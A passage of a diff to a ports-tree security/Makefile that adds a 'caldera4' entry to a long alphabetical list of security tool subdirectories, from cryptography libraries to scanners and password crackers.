diff --git a/security/Makefile b/security/Makefile index 2e02d0665fa6..ce2be1b05b15 100644 --- a/security/Makefile +++ b/security/Makefile @@ -1,1398 +1,1399 @@ COMMENT = Security tools SUBDIR += 0d1n SUBDIR += 1password-client SUBDIR += 1password-client2 SUBDIR += 1password-client2-beta SUBDIR += 2fa SUBDIR += ADMsmb SUBDIR += ADMsnmp SUBDIR += R-cran-ROAuth SUBDIR += R-cran-askpass SUBDIR += R-cran-credentials SUBDIR += R-cran-digest SUBDIR += R-cran-gitcreds SUBDIR += R-cran-openssl SUBDIR += R-cran-sodium SUBDIR += acme.sh SUBDIR += acmed SUBDIR += acmetool SUBDIR += aescrypt SUBDIR += aespipe SUBDIR += afl++ SUBDIR += afterglow SUBDIR += age SUBDIR += aide SUBDIR += akmos SUBDIR += amavisd-milter SUBDIR += amavisd-new SUBDIR += apache-xml-security-c SUBDIR += apg SUBDIR += apkid SUBDIR += archlinux-keyring SUBDIR += arpCounterattack SUBDIR += arti SUBDIR += asignify SUBDIR += assh SUBDIR += authenticator SUBDIR += authoscope SUBDIR += autossh SUBDIR += aws-c-auth SUBDIR += aws-c-cal SUBDIR += aws-iam-authenticator SUBDIR += aws-vault SUBDIR += axc SUBDIR += barnyard2 SUBDIR += barnyard2-sguil SUBDIR += bastillion SUBDIR += bcrypt SUBDIR += bcwipe SUBDIR += bdes SUBDIR += bearssl SUBDIR += beecrypt SUBDIR += beid SUBDIR += belier SUBDIR += bfbtester SUBDIR += binwalk SUBDIR += bitwarden-cli SUBDIR += blst SUBDIR += boringssl SUBDIR += botan2 SUBDIR += botan3 SUBDIR += bruteblock SUBDIR += bsdsfv SUBDIR += bsmtrace SUBDIR += bsmtrace3 SUBDIR += bzrtp SUBDIR += ca_root_nss SUBDIR += caesarcipher SUBDIR += caldera + SUBDIR += caldera4 SUBDIR += caldera-ot SUBDIR += calife SUBDIR += cardpeek SUBDIR += cargo-audit SUBDIR += ccrypt SUBDIR += ccsrch SUBDIR += certmgr SUBDIR += certspotter SUBDIR += cfs SUBDIR += cfssl SUBDIR += cfv SUBDIR += chaosreader SUBDIR += checkpassword SUBDIR += checkpassword-pam SUBDIR += chkrootkit SUBDIR += chntpw SUBDIR += chroot_safe SUBDIR += chrootuid SUBDIR += ckpass SUBDIR += cksfv SUBDIR += cl-md5 SUBDIR += cl-md5-sbcl SUBDIR += clamassassin SUBDIR += clamav SUBDIR += clamav-lts SUBDIR += clamav-unofficial-sigs SUBDIR += clamd-stream-client SUBDIR += clamfs SUBDIR += clamsmtp SUBDIR += clamtk SUBDIR += cloak SUBDIR += clusterssh SUBDIR += cops SUBDIR += courier-authlib SUBDIR += courier-authlib-base SUBDIR += courierpassd SUBDIR += courierpasswd SUBDIR += courieruserinfo SUBDIR += cowrie SUBDIR += cpfx SUBDIR += cracklib SUBDIR += crackpkcs12 SUBDIR += create-cert SUBDIR += crlfuzz SUBDIR += crowdsec SUBDIR += crowdsec-blocklist-mirror SUBDIR += crowdsec-firewall-bouncer SUBDIR += cryptlib SUBDIR += cryptopp SUBDIR += ct-submit SUBDIR += cvechecker SUBDIR += cvm SUBDIR += cyberchef SUBDIR += cyrus-sasl2 SUBDIR += cyrus-sasl2-gssapi SUBDIR += cyrus-sasl2-ldapdb SUBDIR += cyrus-sasl2-saslauthd SUBDIR += cyrus-sasl2-sql SUBDIR += cyrus-sasl2-srp SUBDIR += cyrus-sasl2-xoauth2 SUBDIR += d0_blind_id SUBDIR += debian-keyring SUBDIR += dehydrated SUBDIR += denyhosts SUBDIR += destroy SUBDIR += diffcode SUBDIR += digestpp SUBDIR += dirbuster SUBDIR += dirmngr SUBDIR += distcache SUBDIR += diswall SUBDIR += doas SUBDIR += dotdotpwn SUBDIR += dropbear SUBDIR += dsniff SUBDIR += dsvpn SUBDIR += duo SUBDIR += duo_openvpn SUBDIR += easy-rsa SUBDIR += enchive SUBDIR += eschalot SUBDIR += expiretable SUBDIR += f-prot SUBDIR += fakebo SUBDIR += fakeident SUBDIR += fakeroot SUBDIR += farmhash SUBDIR += fcheck SUBDIR += fcrackzip SUBDIR += ffuf SUBDIR += fiked SUBDIR += fizz SUBDIR += fl0p SUBDIR += flawfinder SUBDIR += fprint_demo SUBDIR += fprintd SUBDIR += fragroute SUBDIR += fragrouter SUBDIR += fswatch SUBDIR += ftimes SUBDIR += fuzz SUBDIR += fwanalog SUBDIR += fwknop SUBDIR += fwlogwatch SUBDIR += gcr SUBDIR += gef SUBDIR += git-credential-azure SUBDIR += git-credential-gopass SUBDIR += git-credential-oauth SUBDIR += git-crypt SUBDIR += git-remote-gcrypt SUBDIR += git-secret SUBDIR += gitjacker SUBDIR += globalprotect-openconnect SUBDIR += gnome-keyring SUBDIR += gnome-keyring-sharp SUBDIR += gnome-ssh-askpass SUBDIR += gnupg SUBDIR += gnupg-pkcs11-scd SUBDIR += gnupg1 SUBDIR += gnutls SUBDIR += go-cve-dictionary SUBDIR += gokart SUBDIR += gokey SUBDIR += gonepass SUBDIR += gopass SUBDIR += gorilla SUBDIR += gosec SUBDIR += gost-engine SUBDIR += gostsum SUBDIR += gpa SUBDIR += gpg-gui SUBDIR += gpg-tui SUBDIR += gpgdir SUBDIR += gpgme SUBDIR += gpgme-cpp SUBDIR += gpgme-qt SUBDIR += gpgme-qt-headers SUBDIR += gsa SUBDIR += gsad SUBDIR += gsasl SUBDIR += gstreamer1-plugins-dtls SUBDIR += gtkpasman SUBDIR += gvm SUBDIR += gvm-libs SUBDIR += gvmd SUBDIR += hardening-check SUBDIR += hash SUBDIR += hashcat SUBDIR += heaan SUBDIR += headscale SUBDIR += heimdal SUBDIR += heimdal-devel SUBDIR += helib SUBDIR += hexl SUBDIR += highwayhash SUBDIR += hitch SUBDIR += hockeypuck SUBDIR += honeytrap SUBDIR += honggfuzz SUBDIR += horcrux SUBDIR += howdy SUBDIR += hpenc SUBDIR += hs-cryptol SUBDIR += hydra SUBDIR += hyperhotp SUBDIR += i2p SUBDIR += i2pd SUBDIR += iaikpkcs11wrapper SUBDIR += iddawc SUBDIR += idea SUBDIR += identify SUBDIR += imds-filterd SUBDIR += intel-ipsec-mb SUBDIR += ipfmeta SUBDIR += ipguard SUBDIR += ipsec-tools SUBDIR += ipv6toolkit SUBDIR += isal-kmod SUBDIR += ismtp SUBDIR += isnprober SUBDIR += john SUBDIR += kbfsd SUBDIR += kc SUBDIR += kdbxviewer SUBDIR += keepass SUBDIR += keepass-plugin-keepassrpc SUBDIR += keepassxc SUBDIR += keybase SUBDIR += keychain SUBDIR += keyprint SUBDIR += keysmith SUBDIR += kf5-kdesu SUBDIR += kf6-kdesu SUBDIR += kgpg SUBDIR += kickpass SUBDIR += klee SUBDIR += kleopatra SUBDIR += knock SUBDIR += knocker SUBDIR += kpcli SUBDIR += kpkpass SUBDIR += kpmenu SUBDIR += krb5 SUBDIR += krb5-119 SUBDIR += krb5-120 SUBDIR += krb5-121 SUBDIR += krb5-devel SUBDIR += kstart SUBDIR += ktls_isa-l_crypto-kmod SUBDIR += kuku SUBDIR += kwalletmanager SUBDIR += l0pht-watch SUBDIR += lasso SUBDIR += lastpass-cli SUBDIR += lego SUBDIR += libargon2 SUBDIR += libassuan SUBDIR += libcaes SUBDIR += libcryptui SUBDIR += libdecaf SUBDIR += libecc SUBDIR += libfido2 SUBDIR += libfprint SUBDIR += libgcrypt SUBDIR += libgnome-keyring SUBDIR += libgpg-error SUBDIR += libgsasl SUBDIR += libhijack SUBDIR += libident SUBDIR += libkleo SUBDIR += libkpass SUBDIR += libksba SUBDIR += libmcrypt SUBDIR += libnitrokey SUBDIR += libntlm SUBDIR += libomemo SUBDIR += libomemo-c SUBDIR += liboqs SUBDIR += libotr SUBDIR += libotr3 SUBDIR += libp11 SUBDIR += libpki SUBDIR += libprelude SUBDIR += libpreludedb SUBDIR += libpwquality SUBDIR += libressl SUBDIR += libressl-devel SUBDIR += libreswan SUBDIR += libretls SUBDIR += libscep SUBDIR += libscrypt SUBDIR += libsecret SUBDIR += libsectok SUBDIR += libsodium SUBDIR += libssh SUBDIR += libssh2 SUBDIR += libtasn1 SUBDIR += libtomcrypt SUBDIR += libu2f-host SUBDIR += libuecc SUBDIR += libwhisker SUBDIR += libxcrypt SUBDIR += libyubikey SUBDIR += libzrtpcppcore SUBDIR += lime SUBDIR += linux-bitwarden-cli SUBDIR += linux-c7-ca-certificates SUBDIR += linux-c7-cyrus-sasl2 SUBDIR += linux-c7-gnutls SUBDIR += linux-c7-libgcrypt SUBDIR += linux-c7-libgpg-error SUBDIR += linux-c7-libssh2 SUBDIR += linux-c7-libtasn1 SUBDIR += linux-c7-nettle SUBDIR += linux-c7-nss SUBDIR += linux-c7-openssl-devel SUBDIR += linux-c7-p11-kit SUBDIR += linux-c7-trousers SUBDIR += local-php-security-checker SUBDIR += logcheck SUBDIR += lua-argon2 SUBDIR += lua-bcrypt SUBDIR += lua-resty-hmac SUBDIR += lua-resty-jwt SUBDIR += lua-resty-openidc SUBDIR += lua-resty-openssl SUBDIR += luasec SUBDIR += lxqt-openssh-askpass SUBDIR += lxqt-sudo SUBDIR += lynis SUBDIR += mac-robber SUBDIR += maia SUBDIR += mailzu SUBDIR += makepasswd SUBDIR += maltrail SUBDIR += masscan SUBDIR += mate-pam-helper SUBDIR += mbedtls SUBDIR += mcrypt SUBDIR += md5deep SUBDIR += medusa SUBDIR += meek SUBDIR += metasploit SUBDIR += mhash SUBDIR += mindterm-binary SUBDIR += minisign SUBDIR += mkp224o SUBDIR += modsecurity3 SUBDIR += modsecurity3-nginx SUBDIR += monkeysphere SUBDIR += monocypher SUBDIR += munge SUBDIR += n2n SUBDIR += ncrack SUBDIR += ncrypt SUBDIR += nebula SUBDIR += nettle SUBDIR += nextcloud-end_to_end_encryption SUBDIR += nextcloud-passman SUBDIR += nextcloud-twofactor_admin SUBDIR += nextcloud-twofactor_nextcloud_notification SUBDIR += nextcloud-twofactor_webauthn SUBDIR += nflib SUBDIR += ngrok SUBDIR += nikto SUBDIR += nist-kat SUBDIR += nitrokey-app SUBDIR += nmap SUBDIR += nss SUBDIR += nss_compat_ossl SUBDIR += nuclei SUBDIR += nyx SUBDIR += oath-toolkit SUBDIR += obfs4proxy-tor SUBDIR += ocaml-cryptgps SUBDIR += ocaml-cryptokit SUBDIR += ocaml-ssl SUBDIR += oidentd SUBDIR += oinkmaster SUBDIR += olm SUBDIR += onionscan SUBDIR += op SUBDIR += openbsm SUBDIR += openca-ocspd SUBDIR += openconnect SUBDIR += openconnect-freebsd-daemon SUBDIR += openconnect-gui SUBDIR += opencryptoki SUBDIR += openct SUBDIR += openfhe SUBDIR += openfortivpn SUBDIR += openiked SUBDIR += openiked-portable SUBDIR += opensaml SUBDIR += opensc SUBDIR += openssh-askpass SUBDIR += openssh-portable SUBDIR += openssl SUBDIR += openssl-agent SUBDIR += openssl-quictls SUBDIR += openssl-unsafe SUBDIR += openssl111 SUBDIR += openssl31 SUBDIR += openssl31-quictls SUBDIR += openssl32 SUBDIR += openvas SUBDIR += openvpn SUBDIR += openvpn-admin SUBDIR += openvpn-auth-ldap SUBDIR += openvpn-auth-radius SUBDIR += openvpn-auth-script SUBDIR += openvpn-devel SUBDIR += ophcrack SUBDIR += opie SUBDIR += ossec-hids SUBDIR += ossec-hids-agent SUBDIR += ossec-hids-agent-config SUBDIR += ossec-hids-local SUBDIR += ossec-hids-local-config SUBDIR += ossec-hids-server SUBDIR += ossec-hids-server-config SUBDIR += osslsigncode SUBDIR += osv-scanner SUBDIR += otpw SUBDIR += owasp-dependency-check SUBDIR += p11-kit SUBDIR += p5-Alt-Crypt-RSA-BigInt SUBDIR += p5-Apache-Htpasswd SUBDIR += p5-App-Acmeman SUBDIR += p5-App-Genpass SUBDIR += p5-App-TLSMe SUBDIR += p5-Auth-YubikeyDecrypter SUBDIR += p5-AuthCAS SUBDIR += p5-Authen-Bitcard SUBDIR += p5-Authen-Captcha SUBDIR += p5-Authen-CyrusSASL SUBDIR += p5-Authen-DecHpwd SUBDIR += p5-Authen-Htpasswd SUBDIR += p5-Authen-Krb5 SUBDIR += p5-Authen-Krb5-Simple SUBDIR += p5-Authen-Libwrap SUBDIR += p5-Authen-NTLM SUBDIR += p5-Authen-OATH SUBDIR += p5-Authen-PAAS SUBDIR += p5-Authen-PAM SUBDIR += p5-Authen-Passphrase SUBDIR += p5-Authen-PluggableCaptcha SUBDIR += p5-Authen-Radius SUBDIR += p5-Authen-SASL SUBDIR += p5-Authen-SASL-Cyrus SUBDIR += p5-Authen-SASL-SASLprep SUBDIR += p5-Authen-SCRAM SUBDIR += p5-Authen-Simple SUBDIR += p5-Authen-Simple-DBI SUBDIR += p5-Authen-Simple-DBM SUBDIR += p5-Authen-Simple-HTTP SUBDIR += p5-Authen-Simple-Kerberos SUBDIR += p5-Authen-Simple-LDAP SUBDIR += p5-Authen-Simple-Net SUBDIR += p5-Authen-Simple-PAM SUBDIR += p5-Authen-Simple-Passwd SUBDIR += p5-Authen-Simple-RADIUS SUBDIR += p5-Authen-Simple-SMB SUBDIR += p5-Authen-Simple-SSH SUBDIR += p5-Authen-Smb SUBDIR += p5-Authen-TacacsPlus SUBDIR += p5-Authen-Ticket SUBDIR += p5-Authen-TypeKey SUBDIR += p5-Business-PayPal-EWP SUBDIR += p5-Bytes-Random-Secure SUBDIR += p5-Bytes-Random-Secure-Tiny SUBDIR += p5-CACertOrg-CA SUBDIR += p5-CPAN-Audit SUBDIR += p5-CSP SUBDIR += p5-Cisco-Hash SUBDIR += p5-Crypt-Anubis SUBDIR += p5-Crypt-AppleTwoFish SUBDIR += p5-Crypt-Argon2 SUBDIR += p5-Crypt-Bcrypt SUBDIR += p5-Crypt-Blowfish SUBDIR += p5-Crypt-Blowfish_PP SUBDIR += p5-Crypt-CAST5 SUBDIR += p5-Crypt-CAST5_PP SUBDIR += p5-Crypt-CBC SUBDIR += p5-Crypt-CBCeasy SUBDIR += p5-Crypt-CFB SUBDIR += p5-Crypt-Caesar SUBDIR += p5-Crypt-Camellia_PP SUBDIR += p5-Crypt-Chimera SUBDIR += p5-Crypt-CipherSaber SUBDIR += p5-Crypt-Cracklib SUBDIR += p5-Crypt-Ctr SUBDIR += p5-Crypt-Curve25519 SUBDIR += p5-Crypt-DES SUBDIR += p5-Crypt-DES_EDE3 SUBDIR += p5-Crypt-DES_PP SUBDIR += p5-Crypt-DH SUBDIR += p5-Crypt-DSA SUBDIR += p5-Crypt-Dining SUBDIR += p5-Crypt-ECB SUBDIR += p5-Crypt-Eksblowfish SUBDIR += p5-Crypt-Enigma SUBDIR += p5-Crypt-Format SUBDIR += p5-Crypt-GCrypt SUBDIR += p5-Crypt-GOST SUBDIR += p5-Crypt-GOST_PP SUBDIR += p5-Crypt-GPG SUBDIR += p5-Crypt-GeneratePassword SUBDIR += p5-Crypt-GpgME SUBDIR += p5-Crypt-HCE_MD5 SUBDIR += p5-Crypt-HCE_SHA SUBDIR += p5-Crypt-HSXKPasswd SUBDIR += p5-Crypt-IDEA SUBDIR += p5-Crypt-Imail SUBDIR += p5-Crypt-JWT SUBDIR += p5-Crypt-Juniper SUBDIR += p5-Crypt-Khazad SUBDIR += p5-Crypt-LE SUBDIR += p5-Crypt-LibSCEP SUBDIR += p5-Crypt-License SUBDIR += p5-Crypt-Lite SUBDIR += p5-Crypt-Loki97 SUBDIR += p5-Crypt-MySQL SUBDIR += p5-Crypt-NULL SUBDIR += p5-Crypt-OFB SUBDIR += p5-Crypt-OICQ SUBDIR += p5-Crypt-OTP SUBDIR += p5-Crypt-OpenPGP SUBDIR += p5-Crypt-OpenSSL-AES SUBDIR += p5-Crypt-OpenSSL-Bignum SUBDIR += p5-Crypt-OpenSSL-CA SUBDIR += p5-Crypt-OpenSSL-DSA SUBDIR += p5-Crypt-OpenSSL-EC SUBDIR += p5-Crypt-OpenSSL-ECDSA SUBDIR += p5-Crypt-OpenSSL-Guess SUBDIR += p5-Crypt-OpenSSL-PKCS10 SUBDIR += p5-Crypt-OpenSSL-RSA SUBDIR += p5-Crypt-OpenSSL-Random SUBDIR += p5-Crypt-OpenSSL-Verify SUBDIR += p5-Crypt-OpenSSL-X509 SUBDIR += p5-Crypt-PBKDF2 SUBDIR += p5-Crypt-PKCS10 SUBDIR += p5-Crypt-PWSafe3 SUBDIR += p5-Crypt-PassGen SUBDIR += p5-Crypt-Passwd-XS SUBDIR += p5-Crypt-PasswdMD5 SUBDIR += p5-Crypt-Password-Util SUBDIR += p5-Crypt-Perl SUBDIR += p5-Crypt-Primes SUBDIR += p5-Crypt-RC4 SUBDIR += p5-Crypt-RC5 SUBDIR += p5-Crypt-RC6 SUBDIR += p5-Crypt-RHash SUBDIR += p5-Crypt-RIPEMD160 SUBDIR += p5-Crypt-RSA SUBDIR += p5-Crypt-RSA-Parse SUBDIR += p5-Crypt-RSA-Yandex SUBDIR += p5-Crypt-Rabbit SUBDIR += p5-Crypt-RandPasswd SUBDIR += p5-Crypt-Random SUBDIR += p5-Crypt-Random-Seed SUBDIR += p5-Crypt-Random-Source SUBDIR += p5-Crypt-Random-TESHA2 SUBDIR += p5-Crypt-Rijndael SUBDIR += p5-Crypt-Rijndael_PP SUBDIR += p5-Crypt-SKey SUBDIR += p5-Crypt-SMIME SUBDIR += p5-Crypt-SSLeay SUBDIR += p5-Crypt-SSSS SUBDIR += p5-Crypt-Salt SUBDIR += p5-Crypt-SaltedHash SUBDIR += p5-Crypt-Serpent SUBDIR += p5-Crypt-Shark SUBDIR += p5-Crypt-Simple SUBDIR += p5-Crypt-SmbHash SUBDIR += p5-Crypt-Sodium SUBDIR += p5-Crypt-Solitaire SUBDIR += p5-Crypt-TEA SUBDIR += p5-Crypt-T_e_a SUBDIR += p5-Crypt-Tea_JS SUBDIR += p5-Crypt-TripleDES SUBDIR += p5-Crypt-Twofish SUBDIR += p5-Crypt-Twofish2 SUBDIR += p5-Crypt-Twofish_PP SUBDIR += p5-Crypt-URandom SUBDIR += p5-Crypt-UnixCrypt SUBDIR += p5-Crypt-UnixCrypt_XS SUBDIR += p5-Crypt-X509 SUBDIR += p5-Crypt-X509-CRL SUBDIR += p5-Crypt-XTEA SUBDIR += p5-Crypt-xDBM_File SUBDIR += p5-CryptX SUBDIR += p5-Dancer-Plugin-Auth-Extensible SUBDIR += p5-Dancer-Plugin-Auth-Extensible-Provider-Usergroup SUBDIR += p5-Dancer-Plugin-Passphrase SUBDIR += p5-Dancer2-Plugin-Auth-Extensible SUBDIR += p5-Dancer2-Plugin-Auth-Extensible-Provider-DBIC SUBDIR += p5-Dancer2-Plugin-Auth-Extensible-Provider-Database SUBDIR += p5-Dancer2-Plugin-Auth-Extensible-Provider-IMAP SUBDIR += p5-Dancer2-Plugin-Auth-Extensible-Provider-Usergroup SUBDIR += p5-Dancer2-Plugin-Passphrase SUBDIR += p5-Data-Entropy SUBDIR += p5-Data-Password SUBDIR += p5-Digest SUBDIR += p5-Digest-Adler32 SUBDIR += p5-Digest-Bcrypt SUBDIR += p5-Digest-BubbleBabble SUBDIR += p5-Digest-CRC SUBDIR += p5-Digest-Crc32 SUBDIR += p5-Digest-DJB SUBDIR += p5-Digest-DMAC SUBDIR += p5-Digest-EMAC SUBDIR += p5-Digest-Elf SUBDIR += p5-Digest-FNV SUBDIR += p5-Digest-GOST SUBDIR += p5-Digest-HMAC SUBDIR += p5-Digest-Hashcash SUBDIR += p5-Digest-Haval256 SUBDIR += p5-Digest-JHash SUBDIR += p5-Digest-MD2 SUBDIR += p5-Digest-MD4 SUBDIR += p5-Digest-MD5 SUBDIR += p5-Digest-MD5-File SUBDIR += p5-Digest-MD5-M4p SUBDIR += p5-Digest-MD5-Reverse SUBDIR += p5-Digest-ManberHash SUBDIR += p5-Digest-MurmurHash SUBDIR += p5-Digest-Nilsimsa SUBDIR += p5-Digest-Pearson SUBDIR += p5-Digest-Pearson-PurePerl SUBDIR += p5-Digest-Perl-MD4 SUBDIR += p5-Digest-Perl-MD5 SUBDIR += p5-Digest-SHA SUBDIR += p5-Digest-SHA-PurePerl SUBDIR += p5-Digest-SHA1 SUBDIR += p5-Digest-SHA3 SUBDIR += p5-Digest-SV1 SUBDIR += p5-Digest-Tiger SUBDIR += p5-Digest-Whirlpool SUBDIR += p5-File-KeePass SUBDIR += p5-File-KeePass-Agent SUBDIR += p5-File-Scan SUBDIR += p5-File-Scan-ClamAV SUBDIR += p5-Filter-CBC SUBDIR += p5-Filter-Crypto SUBDIR += p5-GD-SecurityImage SUBDIR += p5-GSSAPI SUBDIR += p5-GnuPG SUBDIR += p5-GnuPG-Interface SUBDIR += p5-HTML-Email-Obfuscate SUBDIR += p5-Heimdal-Kadm5 SUBDIR += p5-IO-Async-SSL SUBDIR += p5-IO-Socket-SSL SUBDIR += p5-MD5 SUBDIR += p5-Mcrypt SUBDIR += p5-Module-Signature SUBDIR += p5-Net-Daemon-SSL SUBDIR += p5-Net-OpenID-Common SUBDIR += p5-Net-OpenID-JanRain SUBDIR += p5-Net-OpenID-Server SUBDIR += p5-Net-Radius-Server SUBDIR += p5-Net-SAML2 SUBDIR += p5-Net-SSH-AuthorizedKeysFile SUBDIR += p5-Net-SSL-ExpireDate SUBDIR += p5-Net-SSLGlue SUBDIR += p5-Net-SSLeay SUBDIR += p5-Net-Server-Mail-ESMTP-AUTH SUBDIR += p5-Net-SinFP SUBDIR += p5-Nmap-Parser SUBDIR += p5-Nmap-Scanner SUBDIR += p5-OpenCA-CRL SUBDIR += p5-OpenCA-CRR SUBDIR += p5-OpenCA-REQ SUBDIR += p5-OpenCA-X509 SUBDIR += p5-PBKDF2-Tiny SUBDIR += p5-PGP SUBDIR += p5-PGP-Sign SUBDIR += p5-POE-Component-SSLify SUBDIR += p5-POE-Filter-SSL SUBDIR += p5-Parse-Snort SUBDIR += p5-PerlCryptLib SUBDIR += p5-Protocol-ACME SUBDIR += p5-SAVI-Perl SUBDIR += p5-SHA SUBDIR += p5-Safe-Hole SUBDIR += p5-Session-Token SUBDIR += p5-Snort-Rule SUBDIR += p5-String-MkPasswd SUBDIR += p5-Sudo SUBDIR += p5-Text-Password-Pronounceable SUBDIR += p5-Tie-EncryptedHash SUBDIR += p5-Tree-Authz SUBDIR += p5-URN-OASIS-SAML2 SUBDIR += p5-Unix-Passwd-File SUBDIR += p5-Unix-setuid SUBDIR += p5-Yahoo-BBAuth SUBDIR += p5-dicewaregen SUBDIR += p5-openxpki SUBDIR += p5-openxpki-i18n SUBDIR += p5-plog SUBDIR += palisade SUBDIR += pam-modules SUBDIR += pam-mysql SUBDIR += pam-pgsql SUBDIR += pam_fprint SUBDIR += pam_google_authenticator SUBDIR += pam_helper SUBDIR += pam_howdy SUBDIR += pam_jail SUBDIR += pam_kde SUBDIR += pam_krb5 SUBDIR += pam_krb5-rh SUBDIR += pam_ldap SUBDIR += pam_mkhomedir SUBDIR += pam_ocra SUBDIR += pam_p11 SUBDIR += pam_pkcs11 SUBDIR += pam_pwdfile SUBDIR += pam_require SUBDIR += pam_rssh SUBDIR += pam_script SUBDIR += pam_search_list SUBDIR += pam_ssh_agent_auth SUBDIR += pam_u2f SUBDIR += pam_yubico SUBDIR += pamtester SUBDIR += paperkey SUBDIR += passh SUBDIR += passivedns SUBDIR += pbc SUBDIR += pcsc-tools SUBDIR += pdfcrack SUBDIR += pear-Auth SUBDIR += pear-Auth_HTTP SUBDIR += pear-Auth_PrefManager SUBDIR += pear-Auth_SASL SUBDIR += pear-Auth_SASL2 SUBDIR += pear-Crypt_Blowfish SUBDIR += pear-Crypt_CBC SUBDIR += pear-Crypt_CHAP SUBDIR += pear-Crypt_DiffieHellman SUBDIR += pear-Crypt_GPG SUBDIR += pear-Crypt_HMAC2 SUBDIR += pear-Crypt_MicroID SUBDIR += pear-Crypt_RC4 SUBDIR += pear-Crypt_RSA SUBDIR += pear-Crypt_XXTEA SUBDIR += pear-File_HtAccess SUBDIR += pear-File_Passwd SUBDIR += pear-File_SMBPasswd SUBDIR += pear-HTML_Crypt SUBDIR += pear-Horde_Auth SUBDIR += pear-Horde_Crypt SUBDIR += pear-Horde_Crypt_Blowfish SUBDIR += pear-Horde_Group SUBDIR += pear-Horde_Oauth SUBDIR += pear-Horde_Perms SUBDIR += pear-Horde_Secret SUBDIR += pear-Horde_Share SUBDIR += pear-LiveUser SUBDIR += pear-LiveUser_Admin SUBDIR += pear-Net_Portscan SUBDIR += pear-Text_Password SUBDIR += pecl-crypto SUBDIR += pecl-gnupg SUBDIR += pecl-krb5 SUBDIR += pecl-libsodium SUBDIR += pecl-mcrypt SUBDIR += pecl-pam SUBDIR += pecl-pkcs11 SUBDIR += pecl-scrypt SUBDIR += pecl-ssh2 SUBDIR += peda SUBDIR += pev SUBDIR += pgpdump SUBDIR += pgpgpg SUBDIR += pgpin SUBDIR += php81-filter SUBDIR += php81-sodium SUBDIR += php82-filter SUBDIR += php82-sodium SUBDIR += php83-filter SUBDIR += php83-sodium SUBDIR += picocrypt SUBDIR += picosha2 SUBDIR += pidgin-encryption SUBDIR += pidgin-otr SUBDIR += pinentry SUBDIR += pinentry-curses SUBDIR += pinentry-efl SUBDIR += pinentry-fltk SUBDIR += pinentry-gnome SUBDIR += pinentry-gtk2 SUBDIR += pinentry-qt5 SUBDIR += pinentry-tty SUBDIR += pixiewps SUBDIR += pkcrack SUBDIR += pkcs11-dump SUBDIR += pkcs11-gateway SUBDIR += pkcs11-helper SUBDIR += pkcs11-tools SUBDIR += pkesh SUBDIR += pks SUBDIR += plasma5-kscreenlocker SUBDIR += plasma5-ksshaskpass SUBDIR += plasma5-kwallet-pam SUBDIR += plasma6-kscreenlocker SUBDIR += plasma6-ksshaskpass SUBDIR += plasma6-kwallet-pam SUBDIR += please SUBDIR += poly1305aes SUBDIR += portacl-rc SUBDIR += proftpd-mod_clamav SUBDIR += proxycheck SUBDIR += proxytunnel SUBDIR += pssh SUBDIR += pulledpork SUBDIR += pure-sfv SUBDIR += putty SUBDIR += putty-nogtk SUBDIR += pvk SUBDIR += pwauth SUBDIR += pwman SUBDIR += pwned-check SUBDIR += py-RestrictedPython SUBDIR += py-SecretStorage SUBDIR += py-YubiOTP SUBDIR += py-acme SUBDIR += py-acme-tiny SUBDIR += py-ailment SUBDIR += py-aiohttp-security SUBDIR += py-angr SUBDIR += py-argon2-cffi SUBDIR += py-argon2-cffi-bindings SUBDIR += py-artifacts SUBDIR += py-asyncssh SUBDIR += py-authlib SUBDIR += py-azure-keyvault-certificates SUBDIR += py-azure-keyvault-keys SUBDIR += py-azure-keyvault-secrets SUBDIR += py-badkeys SUBDIR += py-base58 SUBDIR += py-bcrypt SUBDIR += py-bitbox02 SUBDIR += py-btchip-python SUBDIR += py-cerealizer SUBDIR += py-cert-human SUBDIR += py-certbot SUBDIR += py-certbot-apache SUBDIR += py-certbot-dns-cloudflare SUBDIR += py-certbot-dns-cpanel SUBDIR += py-certbot-dns-digitalocean SUBDIR += py-certbot-dns-dnsimple SUBDIR += py-certbot-dns-dnsmadeeasy SUBDIR += py-certbot-dns-gandi SUBDIR += py-certbot-dns-gehirn SUBDIR += py-certbot-dns-google SUBDIR += py-certbot-dns-linode SUBDIR += py-certbot-dns-luadns SUBDIR += py-certbot-dns-nsone SUBDIR += py-certbot-dns-ovh SUBDIR += py-certbot-dns-powerdns SUBDIR += py-certbot-dns-rfc2136 SUBDIR += py-certbot-dns-route53 SUBDIR += py-certbot-dns-sakuracloud SUBDIR += py-certbot-dns-standalone SUBDIR += py-certbot-nginx SUBDIR += py-certifi SUBDIR += py-certomancer SUBDIR += py-certstream SUBDIR += py-ckcc-protocol SUBDIR += py-coincurve SUBDIR += py-cpe SUBDIR += py-cryptography SUBDIR += py-cryptography-legacy SUBDIR += py-cryptography-vectors SUBDIR += py-ctypescrypto SUBDIR += py-cybox SUBDIR += py-detect-secrets SUBDIR += py-dfdatetime SUBDIR += py-dfvfs SUBDIR += py-dfwinreg SUBDIR += py-dirhash SUBDIR += py-django-auth-kerberos SUBDIR += py-docker-pycreds SUBDIR += py-ecdsa SUBDIR += py-ed25519ll SUBDIR += py-exscript SUBDIR += py-fail2ban SUBDIR += py-fido2 SUBDIR += py-first-server SUBDIR += py-flask-bcrypt SUBDIR += py-flask-httpauth SUBDIR += py-flask-kerberos SUBDIR += py-flask-saml SUBDIR += py-gixy SUBDIR += py-gnupg SUBDIR += py-gnutls SUBDIR += py-google-auth SUBDIR += py-google-auth-httplib2 SUBDIR += py-google-auth-oauthlib SUBDIR += py-gpgme SUBDIR += py-gpsoauth SUBDIR += py-greenbone-feed-sync SUBDIR += py-gssapi SUBDIR += py-gvm-tools SUBDIR += py-hkdf SUBDIR += py-htpasswd SUBDIR += py-httpx-auth SUBDIR += py-iris-check-module SUBDIR += py-iris-client SUBDIR += py-iris-evtx-module SUBDIR += py-iris-intelowl-module SUBDIR += py-iris-misp-module SUBDIR += py-iris-module-interface SUBDIR += py-iris-vt-module SUBDIR += py-iris-webhooks-module SUBDIR += py-itsdangerous SUBDIR += py-josepy SUBDIR += py-jwcrypto SUBDIR += py-keepkey SUBDIR += py-kerberos SUBDIR += py-keyring SUBDIR += py-keyrings.alt SUBDIR += py-krb5 SUBDIR += py-libnacl SUBDIR += py-liboqs-python SUBDIR += py-m2crypto SUBDIR += py-maec SUBDIR += py-merkletools SUBDIR += py-mixbox SUBDIR += py-mnemonic SUBDIR += py-msoffcrypto-tool SUBDIR += py-muacrypt SUBDIR += py-nassl SUBDIR += py-netbox-secrets SUBDIR += py-netmiko SUBDIR += py-noiseprotocol SUBDIR += py-notus-scanner SUBDIR += py-ntlm-auth SUBDIR += py-oauth2client SUBDIR += py-oauthlib SUBDIR += py-omemo-dr SUBDIR += py-onlykey SUBDIR += py-openssl 